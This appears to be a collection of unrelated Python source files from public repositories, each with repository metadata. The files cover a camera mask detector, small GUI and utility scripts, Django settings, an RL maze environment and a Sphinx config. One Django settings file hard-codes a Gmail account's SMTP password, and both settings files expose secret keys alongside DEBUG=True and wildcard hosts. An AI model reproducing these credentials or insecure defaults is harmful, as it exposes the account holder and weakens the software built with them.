import sensor,image,lcd,time import KPU as kpu import _thread return_meg=['cheak'] WARNING={'cheak':'cheaking','unmask':'please mask','masks':'take off mask and waiting FACE cheak'} def setsenor(): lcd.init(freq=15000000) sensor.reset() sensor.set_pixformat(sensor.RGB565) sensor.set_framesize(sensor.QVGA) sensor.set_windowing((224, 224)) sensor.set_vflip(1) sensor.run(1) def loadmodel(): global return_meg classes = ['unmask','masks'] status=0 task = kpu.load("/sd/mask2.kmodel") anchor = (0.64, 0.67, 0.93, 0.97, 0.98, 1.06, 1.07, 1.17, 1.17, 1.3) kpu.init_yolo2(task, 0.5, 0.3, 5, anchor) while status==0: img = sensor.snapshot() code = kpu.run_yolo2(task, img) status = 1 if code else 0 if code: for i in code: a=img.draw_rectangle(i.rect()) a = lcd.display(img) for i in code: lcd.draw_string(i.x(), i.y(), classes[i.classid()], lcd.RED, lcd.WHITE) lcd.draw_string(i.x(), i.y()+12, '%.3f'%i.value(), lcd.RED, lcd.WHITE) return_meg=[classes[i.classid()],'%.3f'%i.value()] else: lcd.display(img) lcd.draw_string(50,10,'cheaking', lcd.RED,lcd.WHITE) kpu.deinit(task) def facemodel(): global return_meg classes = ['people','nopeople'] status=0 task = kpu.load("/sd/face.kmodel") anchors = (1.889, 2.5245, 2.9465, 3.94056, 3.99987, 5.3658, 5.155437, 6.92275, 6.718375, 9.01025) kpu.init_yolo2(task, 0.5, 0.3, 5, anchors) sensor.set_framesize(sensor.QVGA) while True: img = sensor.snapshot() objects = kpu.run_yolo2(task, img) status = 1 if objects else 0 if objects: for i in objects: a=img.draw_rectangle(i.rect()) a = lcd.display(img) for i in objects: lcd.draw_string(i.x(), i.y(), classes[i.classid()], lcd.RED, lcd.WHITE) else: lcd.display(img) lcd.draw_string(50,10,'take off mask and waiting FACE cheak', lcd.RED,lcd.WHITE) kpu.deinit(task) if __name__ == "__main__": _thread.start_new_thread(setsenor(),(0,)) _thread.start_new_thread(loadmodel(),(1,)) while True: img = sensor.snapshot() lcd.display(img) lcd.draw_string(50,10, WARNING[return_meg[0]], lcd.RED,lcd.WHITE) if return_meg[0] =='masks': _thread.start_new_thread(facemodel(),(1,)) return_meg[0]='unmask'

[ "841891647@qq.com" ]

841891647@qq.com

9ad3082f6beb7fe141b33b6a3a2165ebd2c6109d

14aad7b56c019f126d5d6d0581603d8e8ae8ae72

/god.works-v0.01.py

c8d3e2eb9a328bfab73919ba0124f8442f7e50f5

[]

no_license

zombieleet/Open_Verse

6d1c9325ca52e458a699e8ddff03c519559ea32b

363031ac8ca7cf41fd394cd6c07ad0ed514aaeca

refs/heads/master

2020-12-24T10:33:09.520660

2015-08-05T17:32:03

null

0

null

UTF-8

Python

false

2,003

py

import tkinter as tk calc = tk.Tk() calc.title("God.Works") FRONT_PAGE = ['OT','NT'] buttons = [ 'OT', 'NT'] """ , '9', '*', 'C', '4', '5', '6', '/', 'Neg', '1', '2', '3', '-', '$', '0', '.', '=', '+', '@' ] """ # set up GUI row = 1 col = 0 for i in buttons: button_style = 'raised' action = lambda x = i: click_event(x) tk.Button(calc, text = i, width = 17, height = 17, relief = button_style, command = action) \ .grid(row = row, column = col, sticky = 'nesw') col += 1 if col > 0: # if col > 4 col = 0 row += 1 display = tk.Entry(calc, width = 40, bg = "white") display.grid(row = 0, column = 0, columnspan = 1) # columnspan = 5 def click_event(key): # = -> calculate results if key == '=': # safeguard against integer division if '/' in display.get() and '.' not in display.get(): display.insert(tk.END, ".0") # attempt to evaluate results try: result = eval(display.get()) display.insert(tk.END, " = " + str(result)) except: display.insert(tk.END, " Error, use only valid chars") # C -> clear display elif key == 'C': display.delete(0, tk.END) # $ -> clear display elif key == '$': display.delete(0, tk.END) display.insert(tk.END, "$$$$C.$R.$E.$A.$M.$$$$") # @ -> clear display elif key == '@': display.delete(0, tk.END) display.insert(tk.END, "wwwwwwwwwwwwwwwwebsite") # neg -> negate term elif key == 'neg': if '=' in display.get(): display.delete(0, tk.END) try: if display.get()[0] == '-': display.delete(0) else: display.insert(0, '-') except IndexError: pass # clear display and start new input else: if '=' in display.get(): display.delete(0, tk.END) display.insert(tk.END, key) # RUNTIME calc.mainloop()

[ "kjphillips@suffolk.edu" ]

kjphillips@suffolk.edu

3e1402dff571bf38b0da4764ff96cf356c407fcd

d1c86538a646bbf6b2d22a77b6de1325d13ae90f

/utils/temporal.py

cfe6d6ba385919241acfd9b85bb8f7998448c46b

[]

no_license

xuecheng27/WWW21-Structural-Information

48904d0df34d9fcb069e709290d1e33c5fc76614

342d5880e522158b48219fe21a403abf5e8954e6

refs/heads/main

2023-02-20T21:33:13.123467

2021-01-23T11:00:46

332,164,339

1

3

null

UTF-8

Python

false

1,127

py

import pandas as pd import numpy as np def edgelist2snapshots(filepath, g): """Convert a edgelist with timestamps into g snapshots. Arguments: filepath (str): the filepath of the edgelist g (int): the number of graph snapshots """ df = pd.read_csv(filepath, sep='\s+', header=None, names=['from', 'to', 'weight', 'timestamp'], dtype={'from':'str', 'to':'str', 'weight':np.float64, 'timestamp':int}) ecount = len(df.index) start_time = df['timestamp'].min() end_time = df['timestamp'].max() interval = (end_time - start_time) / g snapshots = dict() for i in range(g): snapshots[i] = [] dfs = df.sort_values(by=['timestamp']) for i in range(ecount): idx = np.floor((dfs.iloc[i]['timestamp'] - start_time) / interval) if int(idx) == g: snapshots[g - 1].append(i) else: snapshots[int(idx)].append(i) filename = filepath.split('/')[1].split('.')[0] for i in range(g): dfs.iloc[snapshots[i]].to_csv(f'datasets/temporal-{filename}/{filename}-{i}.txt', sep=' ', header=False, index=False)

[ "51237370+xuecheng27@users.noreply.github.com" ]

51237370+xuecheng27@users.noreply.github.com

f25b3a1838705336ae470c5e888b6d6e3172dd4a

f4244b1be1af8caa3d8848d679a2aa6d0b8fce2d

/NumberFun/ifPalindrome.py

408e0cf0cc6e727aad8829ad0a6620d5b71c540a

[]

no_license

Sappadilla/NumberFun

ea4de65f80f7c6d70e6e659429b93f1db4e3f9f0

70010e97c7f9a86e83cc5e7f87e272c40cd3d8e9

refs/heads/master

2021-05-14T03:36:40.539911

2018-01-08T03:01:04

116,621,979

0

null

UTF-8

Python

false

551

py

#given input word, determine if it's a palindrome def ifPalindrome(word): if len(word) == 0: return True if len(word) == 1: return True else: return word[0] == word[-1] and ifPalindrome(word[1:-1]) def main(): #print(ifPalindrome("racecar")) #print(ifPalindrome("tacocat")) #print(ifPalindrome("taccccat")) possible = "" while possible != "exit": possible = input("Put a word in to see if it's a Palindrome!\n") print(ifPalindrome(possible)) if __name__ == "__main__": main()

[ "noreply@github.com" ]

Sappadilla.noreply@github.com

57ccbe6a175d71c2d9c38ec16fbf63bc2a87951d

143186a58fa0d0395823eb2be7861155f147ced2

/Python_Interview_Questions/leetcode/tests/Q88_merge_sorted_array_test.py

2398d6b2374d832edc9402cc1f2e9527140e2ef9

[]

no_license

MLgeek96/Interview-Preparation-Kit

04dbda8259d5faaa1298f11c741de32744912fc7

39bfa35f74455df07b93b6d4e2378a6f2e556528

refs/heads/master

2023-08-14T19:12:39.913505

2023-07-25T13:55:32

260,638,941

1

0

null

UTF-8

Python

false

434

py

import pytest from leetcode.problem_sets.Q88_merge_sorted_array import merge print(merge.__doc__) def test_merge(): nums1 = [1,2,3,0,0,0] m = 3 nums2 = [2,5,6] n = 3 assert merge(nums1, m, nums2, n) == [1,2,2,3,5,6] nums1 = [1] m = 1 nums2 = [] n = 0 assert merge(nums1, m, nums2, n) == [1] nums1 = [0] m = 0 nums2 = [1] n = 1 assert merge(nums1, m, nums2, n) == [1]

[ "jacson.chong@bigpayme.com" ]

jacson.chong@bigpayme.com

c091495cb1882df88af2fa73b44c05f99998e8ca

1d2648f6d3ae227803c82fa4b7d505903a3f4daa

/uediadd/settings.py

e449ac620786e21751e20fff3652542e2aadb1fb

[]

no_license

devcoder007/Uediadd

dc55977c7de2475ca786074657091739f88e4728

02e66faf4e27fa8b3b3b4acebe13eab4f1bd10ea

refs/heads/master

2022-06-03T03:07:10.550506

2020-01-22T21:49:45

234,139,165

0

null

2022-05-25T03:01:57

2020-01-15T17:51:29

Python

UTF-8

Python

false

4,630

py

""" Django settings for uediadd project. Generated by 'django-admin startproject' using Django 2.2. For more information on this file, see https://docs.djangoproject.com/en/2.2/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.2/ref/settings/ """ import os # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) TEMPLATE_DIR = os.path.join(BASE_DIR,'template') # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/2.2/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = '_e5di5fy-)10)8*2rrrqai6$ox#fu5cw+os4kjg2g3g7+#(&kr' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = ["*"] # SESSION_COOKIE_SECURE = True # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'corsheaders', 'users', 'api', 'rest_framework', 'rest_framework.authtoken', 'rest_auth', 'django.contrib.sites', 'allauth', 'allauth.account', 'rest_auth.registration', ] # ACCOUNT_AUTHENTICATION_METHOD = 'email' # ACCOUNT_EMAIL_REQUIRED = True # ACCOUNT_USERNAME_REQUIRED = False # AUTHENTICATION_BACKENDS = ( # # Needed to login by username in Django admin, regardless of `allauth` # "django.contrib.auth.backends.ModelBackend", # # `allauth` specific authentication methods, such as login by e-mail # "allauth.account.auth_backends.AuthenticationBackend", # # "users.CustomObtainAuthToken", # ) EMAIL_HOST = 'smtp.gmail.com' EMAIL_HOST_USER = 'kampuskonnect.kk@gmail.com' DEFAULT_FROM_EMAIL = 'kampuskonnect.kk@gmail.com' EMAIL_HOST_PASSWORD = 'Rish@1996' EMAIL_PORT = 587 EMAIL_USE_TLS = True # REST_FRAMEWORK = { # 'DEFAULT_AUTHENTICATION_CLASSES': ( # 'rest_framework.authentication.TokenAuthentication', # ), # 'DEFAULT_PERMISSION_CLASSES': ( # 'rest_framework.permissions.IsAuthenticated', ) # } EMAIL_BACKEND = 'django.core.mail.backends.smtp.EmailBackend' SITE_ID = 1 MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', 'corsheaders.middleware.CorsMiddleware', 'django.middleware.common.CommonMiddleware', ] CORS_ORIGIN_WHITELIST = [ "https://example.com", "https://sub.example.com", "http://localhost:8080", "http://127.0.0.1:9000", "http://localhost:4200", ] ROOT_URLCONF = 'uediadd.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [TEMPLATE_DIR,], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'uediadd.wsgi.application' # Database # https://docs.djangoproject.com/en/2.2/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), } } # Password validation # https://docs.djangoproject.com/en/2.2/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/2.2/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/2.2/howto/static-files/ STATIC_URL = '/static/'

[ "rish@MacBook.local" ]

rish@MacBook.local

ecdba4bb32ab0849dc1dc67fd70d841293255b5d

4348a28b5c8357c751bb81dfe5c2035cc72fbd6b

/Partido.py

ddd1c0c1f13af9c5c2541c1c17f0046262d37e71

[]

no_license

Losajhonny/webscraping

9a91bb525c2f48c8cba76a40d0d2b835a1488d4f

7134fb39aa1d74786cd03d54c12d8c16984de0cc

refs/heads/master

2023-01-06T19:50:35.675755

2020-11-05T23:24:40

298,959,150

0

null

UTF-8

Python

false

2,435

py

class Partido: yearIni = '' yearFin = '' jornadaNombre = '' jornadaNumero = '' fecha = '' local_ta = '' local_tr = '' local_gl = '' local = '' visit_ta = '' visit_tr = '' visit_gl = '' visit = '' def toString(self): return self.yearIni + ', ' + self.local + ' ' + self.local_gl + ' vs ' + self.visit_gl + ' ' + self.visit def toStringLocal(self): fechaFormat = self.fecha.split("/") fechaString = fechaFormat[2] + "-" + fechaFormat[1] + "-" + fechaFormat[0] cad = '"temporada": ' + self.yearIni + ', ' cad += '"yearIni": ' + self.yearIni + ', ' cad += '"yearFin": ' + self.yearFin + ', ' cad += '"nombreJornada": "' + self.jornadaNombre + '", ' cad += '"numeroJornada": ' + self.jornadaNumero + ', ' cad += '"fecha": (new Date("' + fechaString + '")).toISOString(), ' cad += '"juegoDe": "local", ' cad += '"equipo1": "' + self.local + '", ' cad += '"ta": ' + str(self.local_ta) + ', ' cad += '"tr": ' + str(self.local_tr) + ', ' cad += '"gf": ' + str(self.local_gl) + ', ' cad += '"equipo2": "' + self.visit + '", ' cad += '"gc": ' + str(self.visit_gl) return cad def toStringVisit(self): fechaFormat = self.fecha.split("/") fechaString = fechaFormat[2] + "-" + fechaFormat[1] + "-" + fechaFormat[0] cad = '"temporada": ' + self.yearIni + ', ' cad += '"yearIni": ' + self.yearIni + ', ' cad += '"yearFin": ' + self.yearFin + ', ' cad += '"nombreJornada": "' + self.jornadaNombre + '", ' cad += '"numeroJornada": ' + self.jornadaNumero + ', ' cad += '"fecha": (new Date("' + fechaString + '")).toISOString(), ' cad += '"juegoDe": "visita", ' cad += '"equipo1": "' + self.visit + '", ' cad += '"ta": ' + str(self.visit_ta) + ', ' cad += '"tr": ' + str(self.visit_tr) + ', ' cad += '"gf": ' + str(self.visit_gl) + ', ' cad += '"equipo2": "' + self.local + '", ' cad += '"gc": ' + str(self.local_gl) return cad def toStringAll(self): cad1 = self.toStringLocal() cad2 = self.toStringVisit() cad = 'db.partido.insert({ ' + cad1 + ' });\n' cad += 'db.partido.insert({ ' + cad2 + ' });\n' return cad

[ "2564550230101@ingenieria.usac.edu.gt" ]

2564550230101@ingenieria.usac.edu.gt

2546bdab1e9803a59b26742dbc22ff1ef7476613

ad4244cbe9943027b794f0f4d974b1702413b0fd

/ShortSaleRatio_Windows.py

333cff60cb9eceefa2d46009041a40dadc8a5629

[]

no_license

kkutsutani/ShortSaleRatio_Windows

9d32fdaf8f9fde0255b16b29cdcc9c040cfbb4bc

693a833221ab96e755cd9698dec41adfd0ae1cb6

refs/heads/main

2023-03-04T19:27:11.488833

2021-02-12T07:53:35

338,244,838

0

null

UTF-8

Python

false

2,064

py

import os import xlrd import pprint flist = os.listdir(path='xls') # ディレクトリ(xls)の全ファイル名(パス含まず)のリストを返す print( len(flist) ) # リストのサイズを返す xlslist = [] # リストを定義 meigara = 9432 # ★銘柄番号 # 拡張子xls のファイルリスト作成 for fname in flist: # 現在パスの「全ファイル」によるループ if fname.endswith('.xls'): # ファイル名の末尾(拡張子)が'xls'なら真 xlslist.append( fname ) # xlsファイル名をリストに追加 # 拡張子xls のファイルリスト作成 for fname in xlslist: # 現在パスの「全xlsファイル」によるループ tmp_list = [] wb = xlrd.open_workbook( "xls/" + fname ) # xlsファイルのBookオブジェクトを取得 tmp_list.append( wb._sheet_names[0] ) # リストにシート名を追加 sheet = wb.sheet_by_name( wb._sheet_names[0] ) # 指定シートを取得 lineno = 8 hit = 0 value = 0 while lineno < sheet.nrows: # 最終行まで cell = sheet.cell( lineno, 2 ) # セルを読む if cell.ctype == 0: # セルが空白の場合 break # ループを抜ける if cell.value == meigara: # セルが銘柄番号に該当？ hit = 1 # 該当銘柄があったフラグ cell = sheet.cell( lineno, 10 ) # セルを読む value += cell.value # 「空売り残高割合」を加算 lineno += 1 # 行+1 if hit == 1: # 該当銘柄があった場合 tmp_list.append( value * 100) # 「空売り残高割合」をリストに追加 print( tmp_list ) # 「空売り残高割合」を出力

[ "kkutsutani@oregano.ocn.ne.jp" ]

kkutsutani@oregano.ocn.ne.jp

c1690f414026618d969eb3f83caaa9bcaa303ccc

c80bf22827ecf6cab725170f20a6cfe2d19e2d20

/exp3_DQN/maze_env.py

018a0f52e8df414e8ebfa7a03b87ad55acdf5888

[]

no_license

Drawlone/RL

5753c9278c0df28e767c84a19bcdab9ebd56ea2a

06dd8494c54516a7edd72c711251637814e447d0

refs/heads/master

2022-07-03T00:40:16.349117

2020-05-19T04:49:58

265,155,747

0

null

UTF-8

Python

false

4,082

py

""" Reinforcement learning maze example. Red rectangle: explorer. Black rectangles: hells [reward = -1]. Yellow bin circle: paradise [reward = +1]. All other states: ground [reward = 0]. This script is the environment part of this example. The RL is in RL_brain.py. View more on my tutorial page: https://morvanzhou.github.io/tutorials/ """ import numpy as np import time import tkinter as tk UNIT = 40 # pixels MAZE_H = 4 # grid height MAZE_W = 4 # grid width class Maze(tk.Tk, object): def __init__(self): super(Maze, self).__init__() self.action_space = ['u', 'd', 'l', 'r'] self.n_actions = len(self.action_space) self.n_features = 2 self.title('maze') self.geometry('{0}x{1}'.format(MAZE_H * UNIT, MAZE_H * UNIT)) self._build_maze() def _build_maze(self): self.canvas = tk.Canvas(self, bg='white', height=MAZE_H * UNIT, width=MAZE_W * UNIT) # create grids for c in range(0, MAZE_W * UNIT, UNIT): x0, y0, x1, y1 = c, 0, c, MAZE_H * UNIT self.canvas.create_line(x0, y0, x1, y1) for r in range(0, MAZE_H * UNIT, UNIT): x0, y0, x1, y1 = 0, r, MAZE_W * UNIT, r self.canvas.create_line(x0, y0, x1, y1) # create origin origin = np.array([20, 20]) # hell hell1_center = origin + np.array([UNIT * 2, UNIT]) self.hell1 = self.canvas.create_rectangle( hell1_center[0] - 15, hell1_center[1] - 15, hell1_center[0] + 15, hell1_center[1] + 15, fill='black') # hell # hell2_center = origin + np.array([UNIT, UNIT * 2]) # self.hell2 = self.canvas.create_rectangle( # hell2_center[0] - 15, hell2_center[1] - 15, # hell2_center[0] + 15, hell2_center[1] + 15, # fill='black') # create oval oval_center = origin + UNIT * 2 self.oval = self.canvas.create_oval( oval_center[0] - 15, oval_center[1] - 15, oval_center[0] + 15, oval_center[1] + 15, fill='yellow') # create red rect self.rect = self.canvas.create_rectangle( origin[0] - 15, origin[1] - 15, origin[0] + 15, origin[1] + 15, fill='red') # pack all self.canvas.pack() def reset(self): self.update() time.sleep(0.1) self.canvas.delete(self.rect) origin = np.array([20, 20]) self.rect = self.canvas.create_rectangle( origin[0] - 15, origin[1] - 15, origin[0] + 15, origin[1] + 15, fill='red') # return observation return (np.array(self.canvas.coords(self.rect)[:2]) - np.array(self.canvas.coords(self.oval)[:2]))/(MAZE_H*UNIT) def step(self, action): s = self.canvas.coords(self.rect) base_action = np.array([0, 0]) if action == 0: # up if s[1] > UNIT: base_action[1] -= UNIT elif action == 1: # down if s[1] < (MAZE_H - 1) * UNIT: base_action[1] += UNIT elif action == 2: # right if s[0] < (MAZE_W - 1) * UNIT: base_action[0] += UNIT elif action == 3: # left if s[0] > UNIT: base_action[0] -= UNIT self.canvas.move(self.rect, base_action[0], base_action[1]) # move agent next_coords = self.canvas.coords(self.rect) # next state # reward function if next_coords == self.canvas.coords(self.oval): reward = 1 done = True elif next_coords in [self.canvas.coords(self.hell1)]: reward = -1 done = True else: reward = 0 done = False s_ = (np.array(next_coords[:2]) - np.array(self.canvas.coords(self.oval)[:2]))/(MAZE_H*UNIT) return s_, reward, done def render(self): # time.sleep(0.01) self.update()

[ "1419076398@qq.com" ]

1419076398@qq.com

d6b7953295e0c4a5bb26ea5f6f41ed972a6a132b

7b475586d089f7da385bf125c2e3eb135e04edb7

/petfactory/modelling/curves/get_positions_on_circle_perimeter.py

9938c10361390a70adcd4cbf5d4eb09a2e4f0923

[]

no_license

EriLee/petfactory_maya_scripts

e3085654f36fcb56b95601b4f801da9d4d990a8a

ba002212d61c94e87579fdbc5968282713b895b6

refs/heads/master

2021-01-18T08:00:47.123047

2015-03-30T08:10:35

33,191,651

2

null

2015-03-31T14:57:41

null

UTF-8

Python

false

1,333

py

import pymel.core as pm import math def loc(x,y,z=0): loc = pm.spaceLocator() loc.translate.set((x,y,z)) loc.getShape().localScale.set(.05, .05, .05) # the hypoytenuse crv = pm.PyNode('crv') pos_list = crv.getCVs() r = 1.0 circ_center = pm.datatypes.Vector(2,1,0) mid_vec = pos_list[1] - pos_list[0] #The angle of the mid vector, i.e. the shared hypotenuse theta = math.atan2(pos_list[1].y, pos_list[1].x) #print(pm.util.degrees(theta)) # the angle we need to rpotate from positive x axis to the theta angle ang = math.pi + theta #ang_deg = pm.util.degrees(ang) # the angle between theta and the oposite side of the right triangle (1.5 PI) dif_ang = math.pi*1.5 - ang num_points = 5 ang_inc = dif_ang / (num_points+1) for i in range(num_points): #dif_ang_half = dif_ang * .5 rot = ang + ang_inc * (i+1) rot_deg = pm.util.degrees(rot) #line = pm.curve(d=1, p=[(0,0,0), (2,0,0)]) #line.translate.set(2,1,0) #line.rotate.set(0,0,rot_deg) x = (math.cos(rot)) + circ_center.x y = (math.sin(rot)) + circ_center.y pos = pm.datatypes.Vector(x,y,0) loc(pos.x, pos.y, pos.z) # reflect around the mid vec reflect_pos = 2 * pos.dot(mid_vec) / mid_vec.dot(mid_vec) * mid_vec - pos loc(reflect_pos.x, reflect_pos.y, reflect_pos.z)

[ "johan@Johans-Mac-Pro.local" ]

johan@Johans-Mac-Pro.local

90543404593bfada9faff01457b9d19d4ec39de2

812b5bb1110d1853ef6978c93fc88b7ae53a0813

/aquaara/settings.py

d902773b8b1c77bb88487af504e2466552ae2461

[]

no_license

SamuelSilvaAraujo/aquaara

841ff1350c04c700c068be4bb885764fe8a4fdc6

8f84464c0bfd050e61fa3e2827b7747b58ab81ec

refs/heads/master

2022-12-27T08:50:46.153919

2020-10-10T01:15:18

302,781,085

0

null

UTF-8

Python

false

3,482

py

""" Django settings for aquaara project. Generated by 'django-admin startproject' using Django 2.1.5. For more information on this file, see https://docs.djangoproject.com/en/2.1/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.1/ref/settings/ """ import os # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/2.1/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = 'ull0(&j9=w37aioq+)@yzd80^yyh$3-mo11b5oy&8f+f%%1-e!' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = ['*'] # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'users', 'core', ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'aquaara.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [os.path.join(BASE_DIR, 'templates')] , 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'aquaara.wsgi.application' # Database # https://docs.djangoproject.com/en/2.1/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), } } # Password validation # https://docs.djangoproject.com/en/2.1/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, # { # 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', # }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/2.1/topics/i18n/ LANGUAGE_CODE = 'pt-br' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/2.1/howto/static-files/ STATIC_ROOT = '../static/' STATIC_URL = '/static/' STATICFILES_DIRS = [ os.path.join(BASE_DIR, "static"), 'static/', ] AUTH_USER_MODEL = 'users.User' LOGIN_URL = 'login' LOGOUT_URL = 'logout' LOGIN_REDIRECT_URL = 'property_list' LOGOUT_REDIRECT_URL = 'login' try: from local_settings import * except ImportError: pass

[ "samuelsas.samuel18@gmail.com" ]

samuelsas.samuel18@gmail.com

9ef14bf76e360aeb512485962327cc1cc8cd093f

7616b18f708dbced335db0b93b736bdf6445cbce

/test.py

15a2b070abf0028c0018ccb5274d6b95ca0e13a8

[]

no_license

jireland88/percolation

311d43a652624d29e1f683ef3f4d418238496808

d0de18b9aafd6a055be35be7de32a50e5ca0832f

refs/heads/main

2023-05-01T00:08:21.135928

2021-05-16T22:44:09

361,247,692

0

null

UTF-8

Python

false

222

py

from percolation import * from path_helpers import * from path_finders import * iters = 50 P_05 = Percolation(np.zeros((5, 5)), RecPathFinder(TriangleNeighbours())) PT = PercolationTools(P_05) PT.plot_centre_prob(50, 1)

[ "jakeireland88@protonmail.com" ]

jakeireland88@protonmail.com

19c4b0d54104cd06b5b95603cea72a1da9812988

a3e09d68b73f3090c240920073bf285ce1ee0238

/docs/source/conf.py

649e6ddeba86419a555adef0d981dcad6450b24b

[ "MIT" ]

permissive

rmorshea/jotting

8750fc044c898c96e25b6acda4eadd0f57726cee

bad834f6bec1af049cabd1a4dc10504ea849de03

refs/heads/master

2021-09-20T08:28:23.465095

2018-03-04T02:06:30

109,722,665

3

0

null

UTF-8

Python

false

6,563

py

# -*- coding: utf-8 -*- # # Configuration file for the Sphinx documentation builder. # # This file does only contain a selection of the most common options. For a # full list see the documentation: # http://www.sphinx-doc.org/en/stable/config # -- Path setup -------------------------------------------------------------- # If extensions (or modules to document with autodoc) are in another directory, # add these directories to sys.path here. If the directory is relative to the # documentation root, use os.path.abspath to make it absolute, like shown here. # # import os # import sys # sys.path.insert(0, os.path.abspath('.')) # -- Project information ----------------------------------------------------- project = 'Jotting' copyright = '2018, Ryan Morshead' author = 'Ryan Morshead' # The short X.Y version version = '' # The full version, including alpha/beta/rc tags release = '0.2.1' import os import sys sys.path.insert(0, os.path.dirname(os.path.abspath('..'))) # -- General configuration --------------------------------------------------- # If your documentation needs a minimal Sphinx version, state it here. # # needs_sphinx = '1.0' # Add any Sphinx extension module names here, as strings. They can be # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom # ones. extensions = [ 'sphinx.ext.autodoc', 'sphinx.ext.doctest', 'sphinx.ext.coverage', 'sphinx.ext.viewcode', 'sphinx.ext.autosummary', 'sphinxcontrib.napoleon', ] # Add any paths that contain templates here, relative to this directory. templates_path = ['.templates'] # The suffix(es) of source filenames. # You can specify multiple suffix as a list of string: # # source_suffix = ['.rst', '.md'] source_suffix = '.rst' # The master toctree document. master_doc = 'index' # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. # # This is also used if you do content translation via gettext catalogs. # Usually you set "language" from the command line for these cases. language = None # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. # This pattern also affects html_static_path and html_extra_path . exclude_patterns = [] # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'manni' # -- Options for HTML output ------------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. # import sphinx_materialdesign_theme html_theme = 'sphinx_materialdesign_theme' html_theme_options = { # Specify a list of menu in Header. # Tuples forms: # ('Name', 'external url or path of pages in the document', boolean, 'icon name') # # Third argument: # True indicates an external link. # False indicates path of pages in the document. # # Fourth argument: # Specify the icon name. # For details see link. # https://material.io/icons/ 'header_links' : [ ('Home', 'index', False, 'home'), ("GitHub", "https://github.com/rmorshea/jotting", True, 'link') ], # Customize css colors. # For details see link. # https://getmdl.io/customize/index.html # # Values: amber, blue, brown, cyan deep_orange, deep_purple, green, grey, indigo, light_blue, # light_green, lime, orange, pink, purple, red, teal, yellow(Default: indigo) 'primary_color': 'blue', # Values: Same as primary_color. (Default: pink) 'accent_color': 'deep_purple', # Customize layout. # For details see link. # https://getmdl.io/components/index.html#layout-section 'fixed_drawer': True, 'fixed_header': True, 'header_waterfall': True, 'header_scroll': False, # Render title in header. # Values: True, False (Default: False) 'show_header_title': False, # Render title in drawer. # Values: True, False (Default: True) 'show_drawer_title': True, # Render footer. # Values: True, False (Default: True) 'show_footer': True } # Theme options are theme-specific and customize the look and feel of a theme # further. For a list of options available for each theme, see the # documentation. # # html_theme_options = {} # Add any paths that contain custom static files (such as style sheets) here, # 